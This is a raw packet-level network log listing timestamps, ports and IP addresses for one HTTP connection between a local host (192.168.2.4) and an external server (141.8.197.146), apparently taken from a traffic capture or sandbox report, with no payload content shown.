Nov 30, 2024 05:00:20.031460047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031476021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031491041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031500101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.031507969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031528950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.031932116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.031977892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.032083035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.032484055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.032500982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.032526016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.032989025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.033041000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.033106089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.033934116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.034037113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.034080982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.034871101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.034919977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.034965992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.036537886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.036581993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.038460970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039309978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039333105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039350033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039365053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039366007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.039390087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.039460897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039612055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.039652109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.040473938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.040513992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.040627956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.041507006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.041642904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.041682005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.042465925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.042614937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.042665958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.043343067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.043489933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.043530941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.044306993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.044347048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.044440031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.045284986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.045300007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.045337915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.046202898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.046360970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.046405077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.047177076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.047225952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.047331095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.048185110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.048346996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.048392057 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.049079895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.049123049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.049221039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.050076008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.050091028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.050132990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.051048994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.051071882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.051095009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.051898956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.051913977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.051956892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.052050114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.052066088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.052093029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.052902937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.052941084 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.052988052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.053838015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.054020882 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.103569031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.103693962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.103740931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.104083061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.104209900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.104314089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.105031013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.105149031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.105211020 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.105947018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.106067896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.106107950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.106885910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.107007980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.107055902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.107851028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.107986927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.108037949 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.108767033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.108858109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.109014034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.220921040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.220974922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.221127033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.221373081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.221560001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.221606016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.221679926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.222502947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.222558022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.222565889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.223437071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.223504066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.223505974 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.224390030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.224450111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.224483013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.225332022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.225394011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.225434065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.226284027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.226326942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.226366043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.227233887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.227339983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.227385044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.228182077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.228233099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.228266001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.229129076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.229177952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.229238987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.230077028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.230134010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.230314970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.231050968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.231089115 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.231152058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.232001066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.232047081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.232083082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.232922077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.232976913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.233036041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.233884096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.233941078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.233990908 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.234837055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.234894991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.234931946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.235790968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.235852003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.235881090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.236713886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.236757994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.236818075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.237677097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.237745047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.237770081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.238619089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.238684893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.238723040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.239590883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.239698887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.239742994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.240516901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.240577936 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.240608931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.241466999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.241514921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.241575956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.242441893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.242487907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.242624998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.243366957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.243417025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.243479967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.244327068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.244399071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.244434118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.245276928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.245321035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.245356083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.246238947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.246304035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.246332884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.247165918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.247215986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.247272015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.248136044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.248187065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.248202085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.249063969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.249126911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.249161959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.250015974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.250055075 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.250122070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.250961065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.251018047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.251055002 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.251908064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.251952887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.252010107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.252867937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.252965927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.252994061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.253807068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.253926992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.253968954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.254753113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.254803896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.254863024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.255707979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.255759954 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.255795956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.256654024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.256694078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.256748915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.257592916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.257643938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.257693052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.258563042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.258605003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.258654118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.259509087 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.259567976 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.259603977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.260458946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.260521889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.260557890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.261398077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.261468887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.261485100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.262371063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.262429953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.262474060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.263319016 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.263397932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.263407946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.264234066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.264296055 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.304814100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.304898024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.304928064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.305274010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.305366039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.305408001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.306214094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.306315899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.306358099 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.307140112 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.307243109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.307284117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.308092117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.308211088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.308254004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.309021950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.309143066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.309189081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.309982061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.310061932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.310101986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.422152042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.422286987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.422338963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.422696114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.422827005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.422871113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.423656940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.423753977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.423799038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.424563885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.424679995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.424725056 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.425538063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.425584078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.425632000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.426470995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.426536083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.426579952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.427449942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.427460909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.427500963 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.428361893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.428371906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.428404093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.429270983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.429380894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.429424047 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.430238962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.430339098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.430385113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.431178093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.431294918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.431339979 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.432123899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.432244062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.432287931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.433085918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.433217049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.433259964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.434020042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.434143066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.434186935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.434988022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.435084105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.435126066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.435931921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.436034918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.436069012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.436868906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.436994076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.437036991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.437822104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.437932014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.437992096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.438821077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.438868046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.438908100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.439712048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.439846039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.439893961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.440669060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.440787077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.440834999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.441620111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.441725969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.441772938 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.442569971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.442686081 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.442725897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.443511963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.443639040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.443677902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.444467068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.444583893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.444643021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:20.445487976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:20.445529938 CET	80	49732	141.8.197.146	192.168.2.4
